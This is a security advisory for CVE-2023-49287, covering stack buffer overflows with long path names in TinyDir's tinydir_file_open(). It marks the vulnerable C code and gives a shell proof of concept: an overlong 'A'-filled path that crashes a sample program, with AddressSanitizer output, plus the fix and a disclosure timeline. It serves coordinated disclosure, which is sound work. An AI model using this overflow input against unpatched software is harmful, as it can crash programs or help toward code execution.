TinyDir 1.2.5 Buffer Overflow Exploit

* Title: Buffer overflow vulnerabilities with long path names in TinyDir
* Product: TinyDir <= 1.2.5
* Author: Marco Ivaldi <[email protected]>
* Date: 2023-12-04
* CVE ID: CVE-2023-49287
* Severity: High - 7.7 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
* Vendor URL: https://github.com/cxong/tinydir
* Advisory URL: https://github.com/cxong/tinydir/security/advisories/GHSA-jf5r-wgf4-qhxf


--[ 0 - Table of contents

1 - Summary
2 - Background
3 - Vulnerabilities
4 - Proof of concept
5 - Affected products
6 - Remediation
7 - Disclosure timeline
8 - Acknowledgements
9 - References


--[ 1 - Summary

"This is the OG we all want to be, congrats on 20yrs of (public) vulns!"
                                                         -- Erik Cabetas

TinyDir is a lightweight, portable and easy to integrate C directory and
file reader. It wraps dirent for POSIX and FindFirstFile for Windows.

We reviewed TinyDir's source code hosted on GitHub [1] and identified some
security vulnerabilities that may cause memory corruption. Their impacts
range from denial of service to potential arbitrary code execution.


--[ 2 - Background

While auditing another codebase, we noticed that it included TinyDir.
Since this small but successful project is used in hundreds of repositories
[2], we decided to review it in search of security bugs.


--[ 3 - Vulnerabilities

We spotted some buffer overflow vulnerabilities with long path names in the
tinydir_file_open() function, at the marked locations in the following
source code listing:

```c
/* Open a single file given its path */
_TINYDIR_FUNC
int tinydir_file_open(tinydir_file *file, const _tinydir_char_t *path)
{
  tinydir_dir dir;
  int result = 0;
  int found = 0;
  _tinydir_char_t dir_name_buf[_TINYDIR_PATH_MAX];
  _tinydir_char_t file_name_buf[_TINYDIR_FILENAME_MAX];
  _tinydir_char_t *dir_name;
  _tinydir_char_t *base_name;
#if (defined _MSC_VER || defined __MINGW32__)
  _tinydir_char_t drive_buf[_TINYDIR_PATH_MAX];
  _tinydir_char_t ext_buf[_TINYDIR_FILENAME_MAX];
#endif

  if (file == NULL || path == NULL || _tinydir_strlen(path) == 0)
  {
    errno = EINVAL;
    return -1;
  }
  if (_tinydir_strlen(path) + _TINYDIR_PATH_EXTRA >= _TINYDIR_PATH_MAX)
  {
    errno = ENAMETOOLONG;
    return -1;
  }

  /* Get the parent path */
#if (defined _MSC_VER || defined __MINGW32__)
#if ((defined _MSC_VER) && (_MSC_VER >= 1400))
  errno = _tsplitpath_s(
    path,
    drive_buf, _TINYDIR_DRIVE_MAX,
    dir_name_buf, _TINYDIR_FILENAME_MAX,
    file_name_buf, _TINYDIR_FILENAME_MAX,
    ext_buf, _TINYDIR_FILENAME_MAX);
#else
  _tsplitpath(
    path,
    drive_buf,
    dir_name_buf,
    file_name_buf,
    ext_buf); /* VULN: potential buffer overflow due to insecure splitpath() API
                             (https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/splitpath-wsplitpath?view=msvc-170) */
#endif

  if (errno)
  {
    return -1;
  }

/* _splitpath_s not work fine with only filename and widechar support */
#ifdef _UNICODE
  if (drive_buf[0] == L'\xFEFE')
    drive_buf[0] = '\0';
  if (dir_name_buf[0] == L'\xFEFE')
    dir_name_buf[0] = '\0';
#endif

  /* Emulate the behavior of dirname by returning "." for dir name if it's
  empty */
  if (drive_buf[0] == '\0' && dir_name_buf[0] == '\0')
  {
    _tinydir_strcpy(dir_name_buf, TINYDIR_STRING("."));
  }
  /* Concatenate the drive letter and dir name to form full dir name */
  _tinydir_strcat(drive_buf, dir_name_buf);
  dir_name = drive_buf;
  /* Concatenate the file name and extension to form base name */
  _tinydir_strcat(file_name_buf, ext_buf); /* VULN: since sizeof(file_name_buf) + sizeof(ext_buf) is larger than
                                                    sizeof(file_name_buf), we have a potential stack buffer overflow */
  base_name = file_name_buf;
#else
  _tinydir_strcpy(dir_name_buf, path);
  dir_name = dirname(dir_name_buf);
  _tinydir_strcpy(file_name_buf, path); /* VULN: since sizeof(file_name_buf) is smaller than the maximum path length, 
                                                 we have a potential stack buffer overflow */
  base_name = basename(file_name_buf);
#endif

  /* Special case: if the path is a root dir, open the parent dir as the file */
#if (defined _MSC_VER || defined __MINGW32__)
  if (_tinydir_strlen(base_name) == 0)
#else
  if ((_tinydir_strcmp(base_name, TINYDIR_STRING("/"))) == 0)
#endif
  {
    memset(file, 0, sizeof * file);
    file->is_dir = 1;
    file->is_reg = 0;
    _tinydir_strcpy(file->path, dir_name);
    file->extension = file->path + _tinydir_strlen(file->path);
    return 0;
  }

  /* Open the parent directory */
  if (tinydir_open(&dir, dir_name) == -1)
  {
    return -1;
  }

  /* Read through the parent directory and look for the file */
  while (dir.has_next)
  {
    if (tinydir_readfile(&dir, file) == -1)
    {
      result = -1;
      goto bail;
    }
    if (_tinydir_strcmp(file->name, base_name) == 0)
    {
      /* File found */
      found = 1;
      break;
    }
    tinydir_next(&dir);
  }
  if (!found)
  {
    result = -1;
    errno = ENOENT;
  }

bail:
  tinydir_close(&dir);
  return result;
}
```


--[ 4 - Proof of concept

Step-by-step instructions to replicate the third vulnerability on Linux:

```
$ git clone https://github.com/cxong/tinydir
$ cd tinydir/samples/
$ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample
$ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Extension: 
Is dir? yes
Is regular file? no
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
=================================================================
==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc 0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8
WRITE of size 513 at 0x7ffd1ecabeb0 thread T0
    #0 0x7f37b22544be in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440
    #1 0x5625cf301b69 in tinydir_file_open ../tinydir.h:711
    #2 0x5625cf3021f4 in main /home/raptor/tinydir/samples/file_open_sample.c:12
    #3 0x7f37b1e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #4 0x7f37b1e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #5 0x5625cf3004e4 in _start (/home/raptor/tinydir/samples/file_open_sample+0x24e4)

Address 0x7ffd1ecabeb0 is located in stack of thread T0 at offset 4704 in frame
    #0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641

  This frame has 3 object(s):
    [48, 4184) 'dir' (line 642)
    [4448, 4704) 'file_name_buf' (line 646)
    [4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy
Shadow bytes around the buggy address:
  0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
  0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00
  0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2533==ABORTING
```


--[ 5 - Affected products

TinyDir 1.2.5 and earlier versions are affected by the vulnerabilities
discussed in this advisory.


--[ 6 - Remediation

TinyDir developers have released version 1.2.6 [3] that addresses the
vulnerabilities discussed in this advisory.

Please check the official TinyDir channels for further information about
fixes.


--[ 7 - Disclosure timeline

2023-11-30: Vulnerabilities reported via GitHub security advisories [4].
2023-12-01: Proof of concept provided at the request of TinyDir developers.
2023-12-02: Vulnerabilities fixed in TinyDir's master branch on GitHub.
2023-12-03: TinyDir 1.2.6 released and GitHub advisory published.
2023-12-04: GitHub issued CVE-2023-49287 and we published this advisory.


--[ 8 - Acknowledgements

We would like to thank TinyDir developers for triaging and quickly fixing
the reported vulnerabilities.


--[ 9 - References

[1] https://github.com/cxong/tinydir
[2] https://github.com/search?q=tinydir.h&type=code
[3] https://github.com/cxong/tinydir/releases/tag/1.2.6
[4] https://github.com/cxong/tinydir/security